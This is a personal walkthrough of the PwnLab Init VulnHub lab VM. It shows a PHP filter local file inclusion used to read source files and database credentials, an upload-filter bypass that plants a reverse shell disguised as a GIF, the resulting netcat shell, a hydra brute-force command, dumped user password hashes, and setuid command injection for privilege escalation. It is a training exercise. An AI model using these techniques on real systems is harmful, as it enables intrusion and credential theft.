IDEA I/O home  | about  | cheat sheets  | github

Notes for vulnerable VMs - Pwnlab Init

Table of Contents

Background

The PWLab Init VM can be downloaded from: https://www.vulnhub.com/entry/pwnlab-init,158/.

Enumeration

Scan Results

The following ports were open.

port    status      Service
----    ------      -------
80      open        HTTP - Apache/2.4.10 (Debian)
111     open        RPC - rpcbind 2-4 (RPC #100000)
3306    open        MYSQL - MySQL 5.5.47-0+deb8u1

HTTP Service

PWNLab Init - initial login website
PWNLab Init - initial login website

Source code of index.php site:


    <html>
    <head>
    <title>PwnLab Intranet Image Hosting</title>
    </head>
    <body>
    <center>
    <img src="images/pwnlab.png"><br />
    [ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
    <hr/><br/>
        <form action="" method="POST">
        <label>Username: </label><input id="user" type="test" name="user"><br />
        <label>Password: </label><input id="pass" type="password" name="pass"><br />
        <input type="submit" name="submit" value="Login">
        </form>
        </center>
    </body>
    </html>

Local File inclusion

I read the site http://www.abatchy.com/2016/11/pwnlab-init-walkthrough-vulnhub since I did not have any more ideas.

config.php

Get the config.php page with: curl "http://192.168.25.139/?page=php://filter/convert.base64-encode/resource=config" | grep "PD9" | base64 -d

Opening the config.php site, shows the username and password for the root account:

<?php
$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

index.php

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
        include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
        if (isset($_GET['page']))
        {
                include($_GET['page'].".php");
        }
        else
        {
                echo "Use this server to upload and share image files inside the intranet";
        }
?>
</center>
</body>
</html>base64: invalid input

There is a LFI vulnerability for the include("lang/".$_COOKIE['lang']); line.

login.php

Get the login.php page with: curl "http://192.168.25.139/?page=php://filter/convert.base64-encode/resource=login" | grep "PD9" | base64 -d

<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);

if (isset($_POST['user']) and isset($_POST['pass']))
{
        $luser = $_POST['user'];
        $lpass = base64_encode($_POST['pass']);

        $stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
        $stmt->bind_param('ss', $luser, $lpass);

        $stmt->execute();
        $stmt->store_Result();

        if ($stmt->num_rows == 1)
        {
                $_SESSION['user'] = $luser;
                header('Location: ?page=upload');
        }
        else
        {
                echo "Login failed.";
        }
}
else
{
        ?>
        <form action="" method="POST">
        <label>Username: </label><input id="user" type="test" name="user"><br />
        <label>Password: </label><input id="pass" type="password" name="pass"><br />
        <input type="submit" name="submit" value="Login">
        </form>
        <?php
}

upload.php

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
        <body>
                <form action='' method='post' enctype='multipart/form-data'>
                        <input type='file' name='file' id='file' />
                        <input type='submit' name='submit' value='Upload'/>
                </form>
        </body>
</html>
<?php
if(isset($_POST['submit'])) {
        if ($_FILES['file']['error'] <= 0) {
                $filename  = $_FILES['file']['name'];
                $filetype  = $_FILES['file']['type'];
                $uploaddir = 'upload/';
                $file_ext  = strrchr($filename, '.');
                $imageinfo = getimagesize($_FILES['file']['tmp_name']);
                $whitelist = array(".jpg",".jpeg",".gif",".png");

                if (!(in_array($file_ext, $whitelist))) {
                        die('Not allowed extension, please upload images only.');
                }

                if(strpos($filetype,'image') === false) {
                        die('Error 001');
                }

                if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
                        die('Error 002');
                }

                if(substr_count($filetype, '/')>1){
                        die('Error 003');
                }

                $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

                if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
                        echo "<img src=\"".$uploadfile."\"><br />";
                } else {
                        die('Error 4');
                }
        }
}

Getting a shell

PHP reverse shell

Accessing the upload site with the user kent and the password Sld6WHVCSkpOeQ is successful.

The upload.php contains a number of checks to prevent us from uploading a PHP reverse shell.

For the upload to work we have to trick the upload.php file into thinking that our file is a valid image file. Renaming php-reverse-shell.php into php-reverse-shell.gif and adding the string GIF87a at the head of the file did the trick. After that the file can be uploaded with the user kent.

The local file inclusion (LFI) vulnerability in the index.php script can be used to include the uploaded php (fake gif) image file with the help of the following curl command:

    curl http://192.168.25.139/ --cookie "lang=../upload/3208fd203ca8fdfa13bc98a4832c1396.gif" -v

After that we have a remote shell:

    sudo nc -nvlp 443
    [sudo] password for osc:
    listening on [any] 443 ...
    connect to [192.168.25.128] from (UNKNOWN) [192.168.25.139] 38068
    Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
     11:18:49 up 1 day,  8:01,  0 users,  load average: 0.00, 0.01, 0.05
    USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    /bin/sh: 0: can't access tty; job control turned off
    $

Brute forcing HTTP

Brute forcing the HTTP login with hydra was not successful.

$ hydra 192.168.25.139 http-form-post "/login.php:user=^USER^&pass=^PASS^:Login failed" -l admin -P rockyou.txt -t 10 -w 30 -o hydra-http-post-attack.txt

MYSQL Service

The port is open for remote connections, tested it width nc -v 192.168.25.139 3306. A remote connection with user root is not possible.

k :: share/nmap/scripts » mysql -u root -h 192.168.25.139
ERROR 1045 (28000): Access denied for user 'root'@'192.168.25.128' (using password: NO)

Tested various nmap mysql scripts from /usr/bin/share/nmap/mysql but all of them had an error in the function mysq.receiveGreeting. That probably means, the greeting string is not good.

Using the password from the config.php file

Login with the password from the config.php file did work.

    $ mysql -u root -p -h 192.168.25.139 
    Enter password: 
    Welcome to the MariaDB. 
    Your MySQL connection id is 254619
    Server version: 5.5.47-0+deb8u1 (Debian)
    Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.
    MySQL [(none)]>

The database for the web applications is Users as seen in the config.php file. The database Users has a users table with the following entries:

    MySQL [Users]> select * from Users.users;
    +------+------------------+
    | user | pass             |
    +------+------------------+
    | kent | Sld6WHVCSkpOeQ== |
    | mike | U0lmZHNURW42SQ== |
    | kane | aVN2NVltMkdSbw== |
    +------+------------------+
    3 rows in set (0.00 sec)
    MySQL [Users]> SHOW COLUMNS FROM users FROM Users;
    +-------+-------------+------+-----+---------+-------+
    | Field | Type        | Null | Key | Default | Extra |
    +-------+-------------+------+-----+---------+-------+
    | user  | varchar(30) | YES  |     | NULL    |       |
    | pass  | varchar(30) | YES  |     | NULL    |       |
    +-------+-------------+------+-----+---------+-------+
    2 rows in set (0.00 sec)

RPC Service

Enum4linux output:

    enum4linux -d -U 192.168.25.139
    Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Dec  2 13:46:56 2017
     ==========================
    |    Target Information    |
     ==========================
    Target ........... 192.168.25.139
    RID Range ........ 500-550,1000-1050
    Username ......... ''
    Password ......... ''
    Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

Privilege Escalation

I read another walkthrought to find out how the privilege escalation works out. In hindsight this was a mistake. I should really have to spend more time to find out what to do. It comes down to the local enumeration part. The passwords for the local users are in the MySQL database and I should have tried them out locally. It seems that the user kane has a local tool that can be used to send messages to the root user (kent). This tool has the setuid property and runs with root privileges. It can be used to spawn a new shell with the right message containing ;.

Appendix

Lessons learned